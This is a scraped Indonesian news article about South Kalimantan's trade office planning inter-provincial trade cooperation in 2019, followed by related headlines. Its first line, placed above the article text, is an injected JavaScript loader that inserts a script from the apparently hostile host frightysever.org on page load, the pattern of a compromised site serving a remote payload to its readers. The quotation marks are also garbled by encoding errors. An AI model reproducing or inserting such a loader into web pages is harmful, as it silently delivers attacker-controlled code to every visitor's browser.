(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Dinas Perindustrian (Disdag) Provinsi Kalsel menargetkan bisa memperluas kerjasama perdagangan dengan provinsi lain di Indonesia pada tahun 2019. Menurut Kepala Disdag Kalsel Bierhasani, renacana dua kerjasama dagang dengan provinsi lain tersebut yakni dengan Provinsi Kalimantan Timur dan Sulawesi Selatan.
“Dua provinsi tersebut kami lihat potensial untuk dilakukan kerjasama dagang dengan Kalsel. Karena bukan hanya kita yang bisa menjual produk ke daerah mereka, namun juga sebaliknya,†ujarnya, Rabu (2/1/2019).
Untuk di Provinsi Kaltim menurutnya Kalsel bisa menjual berbagai produk unggulan seperti beras, daging ayam hingga telur. Sedangkan di Kaltim berkelimpahan jagung yang bisa menjadi pakan ternak bagi peternak ayam di Banua.
“Begitu pula dengan Sulawesi Selatan. Kita nanti akan cari produk apa saja dari Kalsel yang diperlukan di sana dan produk apa saja dari mereka yang bisa dijual di sini. Ini tentunya agar terjadi keuntungan bagi satu sama lainnya,†tambahnya.
Sejauh ini kerjasama dagang sendiri sudah dilakukan Kalsel secara formal dengan Provinsi Jawa Timur dan Yogyakarta. Dari tiga kali even temu bisnis dan misi dagang yang pihaknya lakukan total transaksi yang bisa dilakukan mencapai angka Rp119 miliar.
“Kalau Kalsel kebanyakan jual produk setengah jadi, baik berupa kemiri, kayu manis, rumput laut hingga arang halaban. Sedangkan untuk Jatim dan Yogyakarta mereka banyak jual produk jadi ke Kalsel, salah satunya pernak pernik,†tambahnya.
Kerjasama dagang sendiri bagi Disdag Kalsel merupakan salah satu upaya jemput bola bagi Pemerintah Provinsi Kalsel untuk mendorong agar berbagai produk andalan Kalsel bisa lebih besar terserap ke pasar luar daerah.
Dalam kegiatan kerjasama dagang yang dibalut dalam event temu bisnis dan misi dagang yang dilakukan ke berbagai provinsi di Indonesia, biasanya Disdag Kalsel melibatkan 6 orang pengusaha lokal yang khusus mencari rekan bisnis dan 3 orang pengusaha yang mempromosikan jualan mereka melalui event pameran.
“Tiap tahunnya kita ganti terus pengusaha lokal yang kita bawa dalam event temu bisnis dan misi dagang tersebut. Tujuannya agar makin banyak pengusaha Banua yang bisa menjual produknya keluar daerah,†pungkasnya.(Arief)
KANALKALIMANTAN.COM, JAKARTA - Komisi VIII DPR RI bersama Kementerian Agama (Kemenag) resmi menetapkan Biaya Penyelenggaraan… Read More
KANALKALIMANTAN.COM, JAKARTA – Tim Banjarbaru Hanyar (Haram Manyarah) untuk gugatan Pilkada Kota Banjarbaru akan menghadapi… Read More
KANALKALIMANTAN.COM, JAKARTA - PT PLN (Persero) terus mencatat rekor lonjakan konsumsi energi kendaraan listrik atau… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pasca kegiatan rutinan Malam Senin Momen 5 Rajab, arus kepulangan Jemaah Sekumpul… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bappedalitbang Kabupaten Banjar menggelar rapat persiapan pelaksanaan Musyawarah Perencanaan Pembangunan (Musrenbang) Kecamatan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sidang kasus gratifikasi proyek Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi… Read More
This website uses cookies.